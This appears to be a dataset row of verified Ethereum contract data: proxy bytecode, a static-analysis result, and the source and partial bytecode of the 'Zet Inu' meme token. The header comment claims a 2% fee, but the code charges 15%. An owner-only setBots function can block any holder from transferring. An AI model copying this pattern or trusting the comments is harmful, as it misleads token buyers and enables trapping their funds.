a161050d81610748565b61051b565b61051a6101f9565b5b50565b60006105286106a8565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561056a576105636106a8565b9050610573565b6105726101f9565b5b90565b61057e6106a8565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610647576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001807f43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e20667281526020017f6f6d207468652070726f78792061646d696e000000000000000000000000000081525060400191505060405180910390fd5b61064f610777565b565b6000807f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c36001029050805491505090565b3660008037600080366000845af43d6000803e80600081146106a3573d6000f35b3d6000fd5b6000807f10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b6001029050805491505090565b6106e281610779565b7fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b60007f10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b60010290508181555050565b565b60006107848261084b565b151561081e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b8152602001807f43616e6e6f742073657420612070726f787920696d706c656d656e746174696f81526020017f6e20746f2061206e6f6e2d636f6e74726163742061646472657373000000000081525060400191505060405180910390fd5b7f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c360010290508181555050565b600080823b9050600081119150509190505600a165627a7a72305820874a9fbba0bcfa81bc88e5c657e5069cefe84a8b130bcae5ca3f59cf40f55a550029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
| 8,180 |
0xbc130b1cd40c722f54baaa1c92651dd630d73d99
|
/**
*Submitted for verification at Etherscan.io on 2021-06-20
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-20
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-20
*/
//Zet Inu ($zzZINU)
//Powerful Bot Protect yes
//2% Deflationary yes
//Telegram: https://t.me/zet_inu
//CG, CMC listing: Ongoing
//Fair Launch
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ZetInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Zet Inu";
string private constant _symbol = "zzZInu";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f04565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a27565b61045e565b6040516101789190612ee9565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d8565b61048d565b6040516101e09190612ee9565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061294a565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311b565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa4565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061294a565b610783565b6040516102b191906130a6565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f04565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a27565b61098d565b60405161035b9190612ee9565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a63565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af6565b6110d1565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299c565b61121a565b60405161041891906130a6565b60405180910390f35b60606040518060400160405280600781526020017f5a657420496e7500000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137df60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe6565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe6565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db8565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f7a7a5a496e750000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe6565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bc565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e26565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe6565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613066565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612973565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612973565b6040518363ffffffff1660e01b8152600401610e1f929190612e36565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612973565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e88565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b1f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e5f565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612acd565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe6565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa6565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061212090919063ffffffff16565b61219b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f91906130a6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613046565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f66565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146791906130a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613026565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f26565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613006565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613086565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131dc565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e26565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121e5565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612f04565b60405180910390fd5b5060008385611c8a91906132bd565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfa600a611cec60048661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d25573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d89600a611d7b60068661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db4573d6000803e3d6000fd5b5050565b6000600654821115611dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df690612f46565b60405180910390fd5b6000611e09612212565b9050611e1e818461219b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e84577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb25781602001602082028036833780820191505090505b5090503081600081518110611ef0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9257600080fd5b505afa158015611fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fca9190612973565b81600181518110612004577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120cf9594939291906130c1565b600060405180830381600087803b1580156120e957600080fd5b505af11580156120fd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121335760009050612195565b600082846121419190613263565b90508284826121509190613232565b14612190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218790612fc6565b60405180910390fd5b809150505b92915050565b60006121dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223d565b905092915050565b806121f3576121f26122a0565b5b6121fe8484846122d1565b8061220c5761220b61249c565b5b50505050565b600080600061221f6124ae565b91509150612236818361219b90919063ffffffff16565b9250505090565b60008083118290612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b9190612f04565b60405180910390fd5b50600083856122939190613232565b9050809150509392505050565b60006008541480156122b457506000600954145b156122be576122cf565b600060088190555060006009819055505b565b6000806000806000806122e387612510565b95509550955095509550955061234186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffff